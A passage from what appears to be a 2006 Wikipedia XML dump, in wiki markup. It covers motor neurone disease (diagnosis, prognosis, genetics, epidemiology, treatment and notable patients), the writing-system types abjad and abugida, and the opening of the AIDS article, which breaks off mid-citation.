The diagnosis of MND is a clinical one, established by a neurologist on the basis of history and neurological examination. There is no diagnostic test for MND. Investigations such as blood tests, [[electromyography]] (EMG), [[magnetic resonance imaging]]  (MRI), and sometmies [[genetic testing]] are useful to rule out other disorders that may mimic MND. However, the diagnosis of MND remains a clinical one. Having excluded other diseases, a relatively rapid progression of symptoms is a strong diagnostic factor. Although an individual's progression may sometimes &quot;plateau&quot;, it will not recover or slow down. A set of diagnostic criteria called the El Escorial criteria have been defined by the World Federation of Neurologists for use in research, particularly as inclusion/exclusion criteria for clinical trials. Due to a lack of clincial diagnostic criteria, some neurologists use the El Escorial criteria during the diagnostic process, although strictly speaking this is [[functionality creep]].

MND in the presence of both upper and lower motor neuron degeneration is ALS. Where the illness affects only the upper motor neurons it is PLS, and where it affects only the lower motor neurons it is PMA. Progressive bulbar palsy is degneration of the lower motor neurons innervating the bulbar region (mouth, face, and throat), whilst pseudobulbar palsy refers to degeneration of the upper motor neurons to the same region.

==Prognosis==
Most cases of MND progess quite quickly, with noticeable decline occuring over the course of months. Although symptoms may present in one region, they will typically spread. If restricted to one side of the body they are more likely to progress to the same region on the other side of the body before progressing to a new region. After several years, most patients require help to carry out activities of daily living such as self care, feeding, and transportation. 

MND is typically fatal within 2-5 years. Around 50% die within 14 months of diagnosis. The remaining 50% will not necessarily die within the next 14 months as the distribution is significantly skewed. As a rough estimate, 1 in 5 patients survive for 5 years, and 1 in 10 patients survive 10 years. [[Stephen Hawking]] is a well-known example of a person with MND, and has lived for more than 40 years with the disease. 

Mortality results when the muscles that control breathing are no longer able to expel carbon dioxide. One exception is PLS, which may last for upwards of 25 years. Given the typical age of onset, this effectively leaves most PLS patients with a normal life span. PLS can progress to ALS, decades later.

==Pathology==
===Causes===
About 90% of cases of MND are &quot;sporadic&quot;, meaning that the patient has no family history of ALS and the case appears to have occurred with no known cause. Genetic factors are suspected to be important in determining an individual's susceptibility to disease, and there is some weak evidence to suggest that onset can be &quot;triggered&quot; by as yet unknown environmental factors (see 'Epidemiology' below). 
 
Approximately 10% of cases are &quot;familial MND&quot;, defined either by a family history of MND or by testing positive for a known genetic mutation associated with the disease. The following genes are known to be linked to ALS: Cu/Zn superoxide dismutase ''SOD1'', ''ALS2'', ''NEFH''(a small number of cases), senataxin (SETX) and vesicle associated protein B (''VAPB'').

Of these, SOD1 mutations account for some 20% of familial MND cases. The ''SOD1'' gene codes for the enzyme [[superoxide dismutase]], a [[radical (chemistry)|free radical]] scavenger that reduces the [[oxidative stress]] of cells throughout the body. So far over 100 different mutations in the SOD1 gene have been found, all of which cause some form of ALS([http://www.alsod.org ALSOD database]). In North America, the most commonly occurring mutation is known as A4V and occurs in up to 50% of SOD1 cases. In people of [[Scandinavia]]n extraction there is a relatively benign mutation called D90A which is associated with a slow progression. Future research is concentrating on identifying new genetic mutations and the clinical syndrome associated with them. Familial MND may also confer a higher risk of developing cognitive changes such as frontotemporal dementia or executive dysfunction (see 'extra-motor change in MND' below).

It is thought that ''SOD1'' mutations confer a toxic gain, rather than a loss, of function to the enzyme. SOD1 mutations may increase the propensity for the enzyme to form protein aggregates which are toxic to nerve cells.

===Pathophysiology===
[[Skeletal muscle]]s are innervated by a group of neurons (''lower motor neurons'') located on the ventral surface of the spinal cord which project to the muscle cells. These nerve cells are themselves innervated by the corticospinal tract or ''upper motor neurons'' that project from the [[motor cortex]] of the brain. On macroscopic pathology, there is a degeneration of the ventral horns of the spinal cord, as well as atrophy of the ventral roots. In the brain, atrophy may be present in the frontal and temporal lobes. On microscopic examination, neurones may show spongiosis, the presence of astrocytes, and a number of inclusions including characteristic &quot;skein-like&quot; inclusions, bunina bodies, and vacuolisation. 

There is a role in excitotoxicity and oxidative stress, presumably secondary to mitochondrial dysfunction. In animal models, death by [[apoptosis]] has also been identified.

==Emotional lability / pseudobulbar affect==
{{main|labile affect}}

Around a third of all MND patients experiece [[labile affect]], also known as emotional lability, pseudobulbar affect, or pathological laughter and crying. Patients with pseudobulbar palsy are particuarly likely to be affected, as are patients with PLS. 

==Extra-motor change in MND==
[[Cognitive]] change can and does occur in between 33&amp;ndash;50% of patients. A small proportion exhibit a form of [[frontotemporal dementia]] characterised by behavioural abnormalities such as [[disinhibition]], [[apathy]], and personality changes. A small proportion of patients may also suffer from an [[aphasia]], which causes difficulty in naming specific objects. A larger proportion (up to 50%) suffer from a milder version of cognitive change which primarily affects what is known as [[executive function]]. Briefly, this is the ability of an individual to initiate, inhibit, sustain, and switch attention and is involved in the organisation of complex tasks down to smaller components. Often patients with such changes find themselves unable to do the family finances or drive a car. [[clinical depression|Depression]] is surprisingly rare in MND (around 5&amp;ndash;20%) relative to the frequency with which it is found in other, less severe, neurological disorders e.g. ~50% in [[multiple sclerosis]] and [[Parkinson's disease]], ~20% in Epilepsy.  Depression does not necessarily increase as the symptoms progress, and in fact many patients report being happy with their [[quality of life]] despite profound disability.  This may reflect the use of [[Coping (psychology)|coping strategies]] such as reevaluating what is important in life.

Although traditionally thought only to affect the motor system, sensory abnormalities are not necessarily absent, with some patients finding altered sensation to touch and heat, found in around 10% of patients. Patients with a predominantly upper motor neurone syndrome, and particularly PLS, often report an enhanced startle reflex to loud noises.

Neuroimaging and neuropathology has demonstrated extra-motor changes in the frontal lobes including the inferior frontal gyrus, superior frontal gyrus, anterior cingulate cortex, and superior temporal gyrus. The degree of pathology in these areas has been directly related to the degree of cognitive change experienced by the patient, if any. Patients with MND and dementia have been shown to exhibit marked frontotemporal lobe atrophy as revealed by [[MRI]] or [[SPECT]] [[neuroimaging]].

==Epidemiology==
The incidence of MND is approximately 1&amp;ndash;5 out of 100,000 people. Men have a slightly higher incidence rate than women. Approximately 5,600 cases are diagnosed in the U.S. every year. By far the greatest risk factor is age, with symptoms typically presenting between the ages of 50-70. Cases under the age of 50 years are called &quot;young onset MND&quot;, whilst incidence rates appear to tail off after the age of 85. 

Tentative environmental risk factors identified so far include: exposure to severe electrical shock leading to coma, having served in the first [[Gulf War]], and playing professional [[football (soccer)]]. However, these findings have not been firmly identified and more research is needed. 

There are three &quot;hot spots&quot; of MND in the world. One is in the Kii pensinula of Japan, one amongst a tribal population in Papua New Guinea. Until the 1960s, Chamorro inhabitants from the island of [[Guam]] in the [[Oceania|Pacific Ocean]] had an increased risk of developing a form of MND known as Guamanian ALS-PD-dementia complex or &quot;lytico bodig&quot;, but since then the incidence rates have returned to near normal, and nobody born since 1940 has developed the disease. Putative theories involve neurotoxins in local wildlife including [[cycad]] nuts and other traditional foodstuffs[http://www.boston.com/news/science/articles/2003/12/09/flying_fox_linked_to_disease/].

==Treatment==
Currently, there is no cure for ALS.  The only drug that affects the course of the disease is [[riluzole]]. The drug functions by blocking the effects of the neurotransmitter glutamate, and is thought to extend the lifespan of an ALS patient by only a few months.  

The lack of effective medications to slow the progression of ALS does not mean that patients with ALS cannot be medically cared for. Instead, treatment of patients with ALS focuses on the relief of symptoms associated with the disease. This involves a variety of health professionals including neurologists, physical therapists, occupational therapists, dieticians, respiratory therapists, social workers, palliative care specialists, specialist nurses and psychologists.  A list of neurology clinics that specialize in the care of patients with ALS can be found on the World Federation of Neurology website (http://www.wfnals.org/clinics/).

==Research Efforts==
The search for a drug that will slow ALS disease progression is underway. For example, recent research using mouse models suggests that [[minocycline]], a common antibiotic, may also be effective in extending the lifespan of ALS sufferers.  This drug must pass [[clinical trials]] with ALS patients before it may be used as a general treatment for ALS.   

[[Minocycline]] extends the lifespan of ALS mice with SOD1 mutations, but it does not prevent their eventual death. Other agents that are currently in trials include ceftriaxone, arimoclomol, IGF-1 and coenzyme Q10 to name but a few. A list of US-based clinical ALS trials may be found at www.clinicaltrials.org or by contacting your local ALS/MND charity.

==Etymology==
''Amyotrophic'' comes from the [[Greek language]]: ''A-'' means &quot;no&quot;, ''myo'' refers to &quot;muscle&quot;, and ''trophic'' means &quot;nourishment&quot;; ''amyotrophic'' therefore means &quot;no muscle nourishment,&quot; which describes the characteristic [[atrophy|atrophication]] of the sufferer's disused muscle tissue. ''Lateral'' identifies the areas in a person's spinal cord where portions of the nerve cells that are affected are located. As this area degenerates it leads to scarring or hardening (&quot;[[sclerosis]]&quot;) in the region.

==History and prominent patients==
[[United States|U.S.]] baseball player [[Lou Gehrig]] brought national and international attention to the disease in [[1939]] when he abruptly retired after being diagnosed with ALS/MND; he would die two years later. Former guitar virtuoso [[Jason Becker]], [[Theoretical physics|theoretical physicist]] [[Stephen Hawking]], and ex-[[Celtic F.C.|Celtic]] [[Football (soccer)|football]] player [[Jimmy Johnstone]] also suffer from the disease. 

Founder of care homes [[Leonard Cheshire]] VC, owner from 1957-1966 of [[Athelhampton]] House in Dorset Sir Robert Cooke F.R.C.S., [[Theoretical physics|theoretical physicist]] [[Victor Emery]], [[Rangers F.C.|Rangers]] [[football (soccer)|football]]er [[Sam English]], [[Baseball Hall of Fame|Hall of Fame]] [[pitcher]] [[Catfish Hunter|Jim &quot;Catfish&quot; Hunter]], [[blues]] singer and guitarist [[Leadbelly]], [[China|Chinese]] Chairman [[Mao Zedong]], [[jazz]] giant [[Charles Mingus]], [[Hollywood]] actor [[David Niven]], legendary [[Leeds United F.C.|Leeds United]] manager [[Don Revie]], teacher and book subject [[Morrie Schwartz]], American television actor [[Lane Smith]], linguist [[Larry Trask]], ''[[The Guardian|Guardian]]'' journalist [[Jill Tweedie]], avant-garde guitarist [[Derek Bailey]], American [[soap opera]] veteran [[Michael Zaslow]], and libertarian writer, politician, and investment analyst, [[Harry Browne]] died from the disease.

[[Diane Pretty]] was a British woman with the disease who was involved in a prominent [[right-to-die]] case in the early [[2000s]].

==See also==
* [[Kennedy disease]]
* [[Monomelic amyotrophy]]
* [[Primary lateral sclerosis]]
* [[Progressive muscular atrophy]]
* [[Riluzole]]

==Sources and references==
* [http://www.ninds.nih.gov/disorders/motor_neuron_diseases/motor_neuron_diseases.htm NINDS Motor Neuron Diseases Information Page]
:Motor Neuron Diseases information sheet compiled by the National Institute of Neurological Disorders and Stroke (NINDS).
* [http://www.alsod.org/ ALSOD Database of all known SOD1 mutations]
* Some information gathered from Dr. M Norenberg, [[University of Miami]] ([[October 26]] [[2004]]).
* ''Crossing the Finishing Line&amp;mdash;Last Thoughts of Leonard Cheshire VC'', ed. [[Reginald C. Fuller]] (London 1998).
* ''[[De Standaard]]'' ([[Dutch language]] newspaper), [[12 September]] [[2005]].
* Zhu S, Stavrovskaya IG, Drozda M, Kim BY, Ona V, Li M, Sarang S, Liu AS, Hartley DM, Wu du C, Gullans S, Ferrante RJ, Przedborski S, Kristal BS, Friedlander RM.  &quot;Minocycline inhibits cytochrome c release and delays progression of amyotrophic lateral sclerosis in mice.&quot;  Nature. 2002 [[May 2]];417(6884):74-8.
* Van Den Bosch L, Tilkin P, Lemmens G, Robberecht W.  &quot;Minocycline delays disease onset and mortality in a transgenic model of ALS.&quot;  Neuroreport. 2002 [[12 June]];13(8):1067-70.
* Kriz J, Nguyen MD, Julien JP.  &quot;Minocycline slows disease progression in a mouse model of amyotrophic lateral sclerosis.&quot;  Neurobiol Dis. 2002 Aug;10(3):268-78.

==Information about Clinical Trials==
* [http://clinicaltrials.gov/search/term=Motor%20Neuron%20%20Diseases List of United States government funded clinical trials relating to MND]
* [http://www.alsa.org/patient/drug.cfm?id=59 Information on the ALS Association's Website about clinical trials of minocycline as an ALS treatment]

==Other Resources==
* [http://www.als.net/ ALS Therapy Development Foundation]
* [http://www.alsa.org/ ALS Association]
* [http://www.alsmndalliance.org/index.shtml ALS/MND Alliance]
* [http://www.mndassociation.org/full-site/home.shtml MND Association]
* [http://www.ALSLIGA.be ALS Liga Belgium (dutch and french language)]
* [http://hereditarymnd.org.au/index.html The Hereditary Motor Neurone Disease Foundation] - Australian group seeking to find a cure for familial Motor Neurone Disease.
* [http://brain.hastypastry.net/forums/forumdisplay.php?f=77/ BrainTalk Communities Forum for people with ALS/MND (US-Based)]
* [http://www.magimedia.co.uk/buildforum/ BUILD-UK Forum for people with ALS/MND (UK-Based)]
* [http://www.als.ca/ ALS Canada]
* [http://www.projectals.org/ Project A.L.S]

[[Category:Disability]]
[[Category:Motor Neuron Disease| ]]
[[Category:Neurological disorders]]

[[de:Amyotrophe Lateralsklerose]]
[[es:Esclerosis Lateral Amiotrófica]]
[[fr:Sclérose latérale amyotrophique]]
[[ja:筋萎縮性側索硬化症]]
[[nl:Amyotrofische laterale sclerose]]
[[no:Amyotrofisk lateral sklerose]]
[[sv:Amyotrofisk lateralskleros]]
[[zh:肌肉萎缩症]]</text>
    </revision>
  </page>
  <page>
    <title>Abjad</title>
    <id>877</id>
    <revision>
      <id>40025728</id>
      <timestamp>2006-02-17T16:13:15Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">:''For the traditional ordering of the letters of the Arabic alphabet, see [[Abjadi order]], [[Abjad numerals]].''

An '''abjad''' is a type of [[writing system]] in which there is one symbol per [[consonant|consonantal]] [[phoneme]], sometimes also called a '''consonantary'''. Abjads differ from [[alphabet|alphabets]], in that in an abjad, each basic [[grapheme]] represents a consonant, although [[vowel]]s may be indicated by [[vowel mark]]s on the basic graphemes. An alphabet has basic graphemes for both consonants and vowels. Abjads also differ from [[abugida|abugidas]]. In an abjad, each basic grapheme represents only a consonant. In an abugida, each basic grapheme represents a syllable consisting of a consonant and a vowel; the same consonant with a different vowel -- or with no vowel -- is represented by a modified or marked form of the same basic grapheme.

==Etymology==
The system takes its name from the first nonsense 'word' of the mnemonic sequence for the letters of the [[Arabic alphabet]] in the older [[Arabic alphabet#Abjadi order|abjadi order]]. It has been suggested that the word 'Abjad' may have earlier roots in [[Phoenician languages|Phoenician]] or [[Ugaritic language|Ugaritic]].

==History==
All known abjads belong to the Semitic family of scripts, and derive from the original Northern Linear Abjad. The reason for this is that [[Semitic languages]] have a [[Morphology (linguistics)|morphemic structure]] which makes the denotation of vowels redundant or unnecessary in most cases.

==Impure abjads==
&quot;Impure&quot; abjads (such as Arabic) may have characters for some vowels as well (called ''matres lectionis'', 'mothers of reading', singular [[ mater lectionis]]), or optional vowel diacritics, or both; however, the term's originator, [[Peter T. Daniels]], insists that it should be applied only to scripts entirely lacking in vowel indicators, thus excluding [[Arabic alphabet|Arabic]], [[Hebrew alphabet|Hebrew]], and [[Syriac alphabet|Syriac]]. 

Impure abjads develop when, due to [[phonetics|phonetic]] change, a previous [[consonant]] or [[diphthong]] becomes a vowel. Later generations, who receive their [[orthography]] without knowing that letter originally signified a consonant there, understand it to mean a [[vowel]] as it is in their spoken language. They then use that letter as a vowel in other places where it was never a consonant. For example, the Hebrew word הורישׁ probably underwent the following pronunciation change: {{unicode|*hi'''w'''riʃ}} → {{unicode|*ho'''w'''riʃ}} → {{unicode|h'''o'''riʃ}}. The ו, which was originally the consonant w, became the vowel o. Later, probably in the [[Second Temple]] period, the vowel use of ו was expanded to places where no consonant ever existed.

===Addition of vowels===
Many scripts derived from abjads have been extended with vowel symbols to become full [[alphabet]]s.  This has mostly happened when the script was adapted to a non-Semitic language, the most famous case being the derivation of the [[Greek alphabet]] from the Phoenician abjad. The Greeks did not need the letters for the [[guttural consonant|guttural]] (&amp;#1488;, &amp;#1492;, &amp;#1495;, &amp;#1506;) and [[co-articulated consonant|co-articulated]] (&amp;#1510;, &amp;#1511;) consonants. They dropped some of them and turned others into vowels.

In other cases, the vowel signs come in the form of little points or hooks attached to the consonant letters, producing an [[abugida]] such as the system of writing [[Amharic]] (written using the Ge'ez alphabet, which was formerly an abjad before a vocalization occurred sometime after the 5th century BCE but before the 4th century CE).

==Related concepts==
Surprisingly, many non-Semitic languages such as English can be written without vowels and read with little difficulty. For example, the previous sentence could be written ''Srprsngly, mny nn-Smtc lnggs sch `s `nglsh cn b wrttn wtht vwls `nd rd wth lttl dffclty.'' This fact can be used to semi-bowdlerise offensive language, a practice known as [[disemvoweling]].

Some usages of [[1337speak]] drop vowels, especially for small words.

==See also==
* [[Abjad numerals]]

==References==
* {{cite book|author=Wright, W.|title=A Grammar of the Arabic Language | edition = 3&lt;sup&gt;rd&lt;/sup&gt; ed.|publisher=Cambridge University Press|year=1971|id=ISBN 0-521-09455-0}}, v. 1, p. 28. 

==External links==
* [http://www.abjad.com/ Abjad - The Arabic Alphabet learning system]


[[Category:Writing systems]]

[[br:Abjad]]
[[ca:Abjad]]
[[de:Konsonantenschrift]]
[[es:Abyad]]
[[fa:ابجد]]
[[fr:Abjad]]
[[gl:Abxad]]
[[wa:Abdjad]]</text>
    </revision>
  </page>
  <page>
    <title>Abugida</title>
    <id>878</id>
    <revision>
      <id>41075774</id>
      <timestamp>2006-02-24T22:13:33Z</timestamp>
      <contributor>
        <ip>139.76.128.71</ip>
      </contributor>
      <text xml:space="preserve">{{IndicText}}
An '''abugida''', '''alphasyllabary''', or '''syllabics''' is a [[writing system]] composed of signs ([[grapheme]]s) denoting [[consonant]]s with an inherent following [[vowel]], which are consistently modified to indicate other vowels, or, in some cases, the lack of a vowel.  Examples include the various scripts of the [[Brahmic family]], Ethiopic [[Ge'ez language|Ge’ez]], and [[Canadian Aboriginal Syllabics]]. 
 
A typical abugida is [[Devanagari]]. There is no basic sign representing the consonant ''k;'' rather the unmodified letter क represents the syllable ''ka;'' the ''a'' is the so-called &quot;inherent&quot; vowel. The vowel may be changed by adding vowel marks to the basic character, producing other syllables beginning with ''k-,'' such as कि ''ki'', कु ''ku'', के ''ke'',  को ''ko''.  These [[diacritic]]s are applied systematically to other consonantal characters. For example, from ल ''la'' is formed लि ''li'', लु ''lu'', ले ''le'', लो ''lo''. Such a consonant with either an inherent or marked vowel is called an [[akshara]]. 

In many abugidas, there is also a diacritic to suppress the inherent vowel, yielding the bare consonant. In Devanagari, क् is ''k,'' and ल् is ''l''.  This is called the ''[[virama]]'' in [[Sanskrit]], or ''halant'' in [[Hindi]]. It may be used to form [[consonant cluster]]s, or to indicate that a consonant occurs at the end of a word.  Other means of expressing these functions include special [[conjunct]] forms in which two or more consonant characters are merged to express a cluster, such as Devanagari: क्ल ''kla.'' (Note that on some fonts display this as क् followed by ल, rather than forming a conjunct.)   
 
The diacritics may appear above (के), below (कु), to the left (कि), or to the right (को) of the consonantal character, or may surround it as in [[Tamil script|Tamil]] கௌ = ''kau,'' from க ''ka''.  In many of the Brahmic scripts, a syllable beginning with a cluster is treated as a single character for purposes of vowel marking, so a vowel marker like ि ''-i,'' falling before the character it modifies, may appear several positions before the place where it is pronounced. For example, the game [[cricket]] in [[Hindi language|Hindi]] is क्रिकेट ''krikeţ;'' the diacritic for /i/ appears before the [[consonant cluster]] /kr/, not before the /r/. A more unusual example is seen in the [[Batak alphabet]]: Here the syllable ''bim'' is written ''ba-ma-i-(virama)''. That is, the vowel diacritic and virama are both written after the consonants for the whole syllable. 

In Ge’ez, the prototype abugida, the form of the letter itself may be altered. For example, ሀ ''hä'' (basic form), ሁ ''hu'' (with a right-side diacritic that does not alter the letter), ሂ ''hi'' (with a subdiacritic compresses the letter, so that the whole fidel (akshara) occupies the same amount of space), ህ ''he'' (where the letter is modified with a kink in the left arm). 

In the family of abugidas known as [[Canadian Aboriginal Syllabics]], vowels are indicated by modification (rotation and reflection) of the akshara. For example, Inuktitut ᐱ ''pi,'' ᐳ ''pu,'' ᐸ ''pa;'' ᑎ ''ti,'' ᑐ ''tu,'' ᑕ ''ta''.

The [[Róng]] script used for the [[Lepcha language]] goes further than other abugidas in that each akshara is a full syllable: Not only the vowel, but any final consonant is indicated by a diacritic. For example, the syllable [sok] would written as something like {{IPA|s̥̽}}, here with an underring representing /o/ and an overcross representing the diacritic for final /k/. There are several abugidas of Indonesia which also indicate final consonants with diacritics, but usually these are restricted to one or two [[nasal consonant|nasals]] such as /ŋ/. 

The [[Pahawh Hmong]] script represents both consonants and vowels with full letters. However, the graphic order is vowel-consonant even though they are pronounced as consonant-vowel. This is rather like the /o/ vowel in the Indic abugidas. Pahawh Hmong is unusual in that, while the inherent vowel /au/ is unwritten, so is the inherent consonant /k/. For the syllable /kau/, which requires one or the other of the inherent sounds to be overt, it is /au/ that is written. That is, a Pahawh akshara appears to be a vowel with an inherent consonant rather than the other way around. 

It is difficult to draw a dividing line between abugidas and other [[segment (linguistics)|segmental]] scrips. For example, the [[Meroitic script]] of ancient [[Sudan]] did not indicate an inherent ''a'' (one symbol stood for both ''m'' and ''ma,'' for example), and is thus similar to Brahmic family abugidas. However, the other vowels were indicated with full letters, not diacritics or modification, so the system was essentially an alphabet that did not bother to write the most common vowel. 

[[Thaana]] is also like an abugida in that vowels are marked with diacritics. However, all vowels are marked, as is the absence of a vowel; there is no inherent vowel. Normally no letter may occur without a diacritic. That is, it is equivalent to an [[abjad]] with obligatory vowel marking, like the [[Arabic alphabet]] as used for [[Kurdish language|Kurdish]] in Iraq, as is thus essentially alphabetic. Note that it developed among a population that was already literate with an abugida for their language. 

Several systems of [[shorthand]] use diacritics for vowels, but they do not have an inherent vowel, and are thus more similar to Thaana and Kurdish than to the Brahmic scripts. The [[Sam Pollard|Pollard]] script, which was based on shorthand, also uses diacritics for vowels; the placements of the vowel relative to the consonant indicates [[tone (linguistics)|tone]]. 

As the term ''alphasyllabary'' suggests, abugidas have been considered an intermediate step between [[alphabet]]s and [[syllabary|syllabaries]]. Historically, abugidas appear to have evolved from [[abjad|abjads]] (vowelless alphabets).  They contrast with syllabaries, where there is a distinct symbol for each syllable or consonant-vowel combination, and where these have no systematic similarity to each other. Compare the Devanagari examples above to sets of syllables in the Japanese [[hiragana]] syllabary: か ''ka'', き ''ki'', く ''ku'', け ''ke'', こ ''ko'' have nothing in common to indicate ''k;'' while ら ''ra'', り ''ri'', る ''ru'', れ ''re'', ろ ''ro'' have neither anything in common for ''r'', nor anything do indicate that they have the same vowels as the ''k'' set. 

The term ''abugida'' is taken from a conventional name for the Ge'ez script, derived from its first four letters (አቡጊዳ) as ordered 
in some religious contexts.  This order corresponds to the ancestral [[Semitic]] character order, ''aleph, beth, gimel, daleth,'' or A B C D.

Historically, abugidas appear to have first evolved from abjads (perhaps [[Aramaic alphabet|Aramaic]]) with the [[Kharoṣṭhī]] and [[Brāhmī]] scripts. The Kharosthi family does not survive today, but Brahmi's descendents include most of the modern scripts of [[South Asia|South]] and [[Southeast Asia]]. Canadian Syllabics was derived from Devanagari, and is thus in the Brahmic family, or was at least influenced by Devanagari in its creation. Although Ge’ez derived from a different abjad, its evolution into an abugida may have been due to the influence of Christian missionaries from India.  

== Partial list of abugidas ==

;True abugidas
*[[Brāhmī|Brahmic]] family, from the 4th (maybe 6th) century BC
**[[Balinese alphabet]]
**[[Bengali script|Bengali]]
**[[Burmese alphabet|Burmese]]
**[[Devanagari]] (used to write [[Sanskrit]], [[Pāli|Pali]], modern [[Hindi language|Hindi]], [[Marathi language|Marathi]] etc.)
**[[Gujarati script|Gujarati]]
**[[Gurmukhi script]]
**[[Kannada language|Kannada]]
**[[Khmer script|Khmer]]
**[[Lao alphabet|Lao]]
**[[Malayalam script|Malayalam]]
**[[Siddham]] used to write [[Sanskrit]]
**[[Sinhala script|Sinhala]]
**[[Tamil script|Tamil]]
**[[Telugu script|Telugu]]
**[[Thai alphabet|Thai]]
**[[Tibetan script|Tibetan]]
*[[Kharoṣṭhī]] (extinct), from the 3rd century BC
*[[Ge'ez language|Ge'ez]] (Ethiopic), from the 4th century AD
*[[Canadian Aboriginal Syllabics]]
*[[Baybayin]], pre-colonial script of [[Tagalog language | Tagalog]]

;Abugida-like scripts

*[[Meroitic script|Meroitic]] (extinct)
*[[Thaana]] 
*[[Pitman shorthand]]
*[[Pollard script]]

==External links==
*[http://www.omniglot.com/writing/syllabaries.htm Syllabaries] - [http://www.omniglot.com/ Omniglot's] list of syllabaries and abugidas, including examples of various writing systems

[[Category:Writing systems]]

[[am:አቡጊዳ]]
[[br:Abugida]]
[[ca:Abugida]]
[[de:Abugida]]
[[es:Abugida]]
[[fr:Alphasyllabaire]]
[[gl:Alfasilabario]]
[[ko:아부기다]]
[[nl:Abugida]]
[[sl:Abugida]]</text>
    </revision>
  </page>
  <page>
    <title>AIDS</title>
    <id>879</id>
    <revision>
      <id>42130717</id>
      <timestamp>2006-03-04T00:47:59Z</timestamp>
      <contributor>
        <username>Grcampbell</username>
        <id>353882</id>
      </contributor>
      <minor />
      <comment>/* Origin of HIV/AIDS */</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Acquired immunodeficiency syndrome (AIDS) |
  ICD10       = B24 |
  ICD9        = {{ICD9|042}} |
}}
'''Acquired immunodeficiency syndrome''', or '''acquired immune deficiency syndrome''' (or [[Acronym and initialism|acronym]] '''AIDS''' or '''Aids'''), is a [[syndrome|collection of symptoms and infections]] resulting from the specific damage to the [[immune system]] caused by [[infection]] with the [[HIV|human immunodeficiency virus]] (HIV).&lt;ref name=Marx&gt;{{

  cite journal |
    author=Marx, J. L. | title=New disease baffles medical community |
    journal=Science | year=1982 | pages=618-621 | volume=217 | issue=4560 | id={{PMID |7089584}}

}}&lt;/ref&gt; It results from the latter stages of advanced HIV infection in [[human]]s, thereby leaving compromised individuals prone to [[opportunistic infection]]s and [[tumor]]s.  Although treatments for both AIDS and HIV exist to slow the virus' progression in a human patient, there is no known cure.

Most researchers believe that HIV originated in [[sub-Saharan Africa]] &lt;ref name=Gao&gt;{{

  cite journal |
    author=Gao, F., Bailes, E., Robertson, D. L., Chen, Y., Rodenburg, C. M., Michael, S. F., Cummins, L. B., Arthur, L. O., Peeters, M., Shaw, G. M., Sharp, P. M. and Hahn, B. H. |
    title=Origin of HIV-1 in the Chimpanzee Pan troglodytes troglodytes |
    journal=Nature | year=1999 | pages=436-441 | volume=397 | issue=6718 | id={{PMID |9989410}}

}}&lt;/ref&gt; during the twentieth century; it is now a global epidemic.  [[UNAIDS]] and the [[World Health Organization]] (WHO) estimate that AIDS has killed more than 25 million people since it was first recognized on [[December 1]], [[1981]], making it one of the most destructive pandemics in recorded history. In 2005 alone, AIDS claimed between an estimated 2.8 and 3.6 million, of which more than 570,000 were children.&lt;ref name=UNAIDS&gt;{{

  cite web |
    author=[[UNAIDS]] | publisher= | year= 2005 |
    url=http://www.unaids.org/Epi2005/doc/EPIupdate2005_pdf_en/epi-update2005_en.pdf |
    title=AIDS epidemic update, 2005 | accessdate=2006-01-17

}}&lt;/ref&gt; In countries where there is access to [[antiretroviral drug|antiretroviral]] treatment, both [[mortality]] and [[morbidity]] of HIV infection have been reduced &lt;ref name=Palella&gt;{{

  cite journal |
    author=Palella, F. J. Jr, Delaney, K. M., Moorman, A. C., Loveless, M. O., Fuhrer, J., Satten, G. A., Aschman and D. J., Holmberg, S. D. |
    title=Declining morbidity and mortality among patients with advanced human immunodeficiency virus infection. HIV Outpatient Study Investigators |
    journal=N. Engl. J. Med | year=1998 | pages=853-860 | volume=338 | issue=13 | id={{PMID |9516219}}

}}&lt;/ref&gt;. However, side-effects of these antiretrovirals have also caused problems such as [[lipodystrophy]], [[dyslipidaemia]], [[insulin resistance]] and an increase in [[cardiovascular]] risks &lt;ref name=Montessori&gt;{{

  cite journal |
    author=Montessori, V., Press, N., Harris, M., Akagi, L., Montaner, J. S. |
    title=Adverse effects of antiretroviral therapy for HIV infection. |
    journal=CMAJ | year=2004 | pages=229-238 | volume=170 | issue=2 | id={{PMID |14734438}}

}}&lt;/ref&gt;. The difficulty of consistently taking the medicines has also contributed to the rise of [[viral escape]] and [[viral resistance|resistance]] to the medicines &lt;ref name=Becker&gt;{{

  cite journal |
    author=Becker, S., Dezii, C. M., Burtcel, B., Kawabata, H. and Hodder, S. |
    title=Young HIV-infected adults are at greater risk for medication nonadherence |
    journal=MedGenMed | year=2002 | pages=21 | volume=4 | issue=3 | id={{PMID |12466764}}

}}&lt;/ref&gt;.
[[Image:Red_ribbon.png|right|thumbnail|120px|The Red Ribbon is the global symbol for solidarity with HIV-positive people and those living with AIDS.]]

==Infection by HIV==
[[Image:HIV-budding.jpg|right|thumbnail|300px|[[Scanning electron microscope|Scanning electron micrograph]] of HIV-1 budding from cultured [[lymphocyte]].]]
AIDS is the most severe manifestation of infection with HIV. HIV is a [[retrovirus]] that primarily infects vital components of the human [[immune system]] such as CD4+ [[T cell]]s, [[macrophage]]s and [[dendritic cell]]s. It also directly and indirectly destroys CD4+ T cells. As CD4+ T cells are required for the proper functioning of the immune system, when enough CD4+ cells have been destroyed by HIV, the immune system barely works, leading to AIDS. Acute HIV infection progresses over time to clinical latent HIV infection and then to early symptomatic HIV infection and later, to AIDS, which is identified on the basis of the amount of [[CD4]] positive cells in the blood and the presence of certain infections. 
{{details|HIV}}
In the absence of antiretroviral therapy, progression from HIV infection to AIDS occurs at a [[median]] of between nine to ten years and the median survival time after developing AIDS is only 9.2 months &lt;ref name=Morgan2&gt;{{

  cite journal
  | author=Morgan, D., Mahe, C., Mayanja, B., Okongo, J. M., Lubega, R. and Whitworth, J. A.
  | title=HIV-1 infection in rural Africa: is there a difference in median time to AIDS and survival compared with that in industrialized countries?
  | journal=AIDS | year=2002 | pages=597-632 | volume=16 | issue=4 | id={{PMID |11873003}}

}}&lt;/ref&gt;. However, the rate of clinical disease progression varies widely between individuals, from two weeks up to 20 years. Many factors affect the rate of progression. These include factors that influence the body's ability to defend against HIV, including the infected person's genetic inheritance, general immune function &lt;ref name=Clerici&gt;{{

  cite journal
  | author=Clerici, M., Balotta, C., Meroni, L., Ferrario, E., Riva, C., Trabattoni, D., Ridolfo, A., Villa, M., Shearer, G.M., Moroni, M. and Galli, M.
  | title=Type 1 cytokine production and low prevalence of viral isolation correlate with long-term non progression in HIV infection
